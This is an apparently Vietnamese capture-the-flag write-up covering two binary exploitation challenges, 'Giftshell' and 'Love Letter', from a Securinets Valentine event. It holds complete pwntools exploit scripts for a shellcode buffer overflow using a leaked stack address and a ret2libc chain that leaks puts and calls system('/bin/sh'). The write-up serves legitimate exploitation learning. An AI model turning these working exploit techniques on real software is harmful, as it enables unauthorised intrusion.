# (writeup) securinets Valentine ## Giftshell - kiểm tra tổng quát ![](https://i.imgur.com/xEkOIn2.png) - kiểm tra ida ![](https://i.imgur.com/GPloFNZ.png) - quanh hàm **main** không còn hàm nào có giá trị khai thác - có lỗi BOF nằm ở **buf** - và khi run file sẽ cho ra 1 địa chỉ - hướng đi : ret2shellcode leak - đầu tiên nhận địa chỉ leak được và gửi shellcode kèm thêm những byte còn lại để overwrite bằng hàm **ljust** - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./giftshell',checksec=False) #p = process(exe.path) p = remote('giftshell.securinets.tn',4010) p.recvuntil(b'products! ') stack_leak = int(p.recvline(),16) log.info('stack leak :'+ hex(stack_leak)) shellcode = asm( ''' mov rbx , 29400045130965551 push rbx mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 0x3b syscall ''',arch='amd64') payload = shellcode payload = payload.ljust(120) payload += p64(stack_leak) p.sendlineafter(b'Input: ', payload) p.interactive() ``` - vì **p64(stack_leak)** là 8 byte nên 128 từ buf lui về 8 và sử dụng **ljust** để chèn cho đủ 120 do shellcode k rõ chiếm mất bnhiu byte ![](https://i.imgur.com/E8Biuoh.png) --- ## Love Letter - kiểm tra tổng quát ![](https://i.imgur.com/ZLl4hK0.png) - kiểm tra ida ![](https://i.imgur.com/fuTEgVW.png) - quanh hàm **main** có >readInput >setup >loveletter >doubt >**main** - chương trình sẽ nhảy vào hàm **loveletter** trước... >loveletter ![](https://i.imgur.com/6pDGQul.png) - phân tích: chương trình sẽ liên tục nhập vào biến v2(buff) cho tới khi số byte vượt qua 6968 là ngưng - theo khi nghiệm là sẽ nhập 2 lần tương ứng 4000 byte và 6969-4000=2969 byte - sau đoá sẽ nhảy qua hàm **doubt** >doubt ![](https://i.imgur.com/vKWbrX7.png) - ở lần nhập dữ liệu kế, nếu ta không chọn "Y" (ascii: char của 89) thì sẽ nhảy vào hàm **if**, nhập tiếp biến v1(size) - ngược lại thì sẽ đi tiếp tới **readInput()** bên dưới với arg của **readInput()** là nhập với lượng byte của v1(size) vào v2(buff)[6969], trong khi v2 được thiết lập là [256] byte --> lỗi BOF >readInput ![](https://i.imgur.com/a3RBF3J.png) - do NX bật nên k thể chèn shellcode, cũng như k có hàm nào có thể nhảy vào lấy shell, vậy chỉ còn ret2libc ![](https://i.imgur.com/LVTmv6E.png) - ở vmmap ta thấy libc.so.6, cũng hên có sẵn libc này từ đợt securinets Jingle Bell nên lụm luôn - vậy thì ta sd pwninit để patched file đó, đồng thời script load libc lên - vì là tạo shell từ libc nên cần thêm arg **rdi** ![](https://i.imgur.com/gjkC7UJ.png) >0x00000000004014b3 ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./main_patched', checksec=False) libc = ELF('./libc.so.6', checksec=False) p = process(exe.path) #p = remote('loveletter.securinets.tn',4040) p.sendafter(b'> ', b'A'*4000) p.sendafter(b'> ', b'A'*2969) p.recvuntil(b'letter?\n') p.sendafter(b'> ', b'Y') #input() pop_rdi = 0x00000000004014b3 payload = b'A'*264 payload += p64(pop_rdi) + p64(exe.got['puts']) payload += p64(exe.plt['puts']) payload += p64(exe.sym['main']) p.recvuntil(b'now.\n') p.sendafter(b'> ', payload) p.recvuntil(b'friend!\n') libc_leak = u64(p.recv(6) + b'\x00\x00') libc.address = libc_leak - libc.sym['puts'] log.info("Lib leak: " + hex(libc_leak)) log.info("Lib base: " + hex(libc.address)) ### thuc thi lai main p.sendafter(b'> ', b'A'*4000) p.sendafter(b'> ', b'A'*2969) p.recvuntil(b'letter?\n') p.sendafter(b'> ', b'Y') ret = 0x000000000040101a #input() payload = b'A'*264 payload += p64(ret) payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh'))) payload += p64(libc.sym['system']) p.recvuntil(b'now.\n') p.sendafter(b'> ', payload) p.interactive() ``` - địa chỉ 0x40101a này để cho stack chẵn chia hết 16, nếu thiếu sẽ lỗi xmm1 và xmm0 ![](https://i.imgur.com/kTEHLez.png) \ ![](https://i.imgur.com/nxkwJYO.png)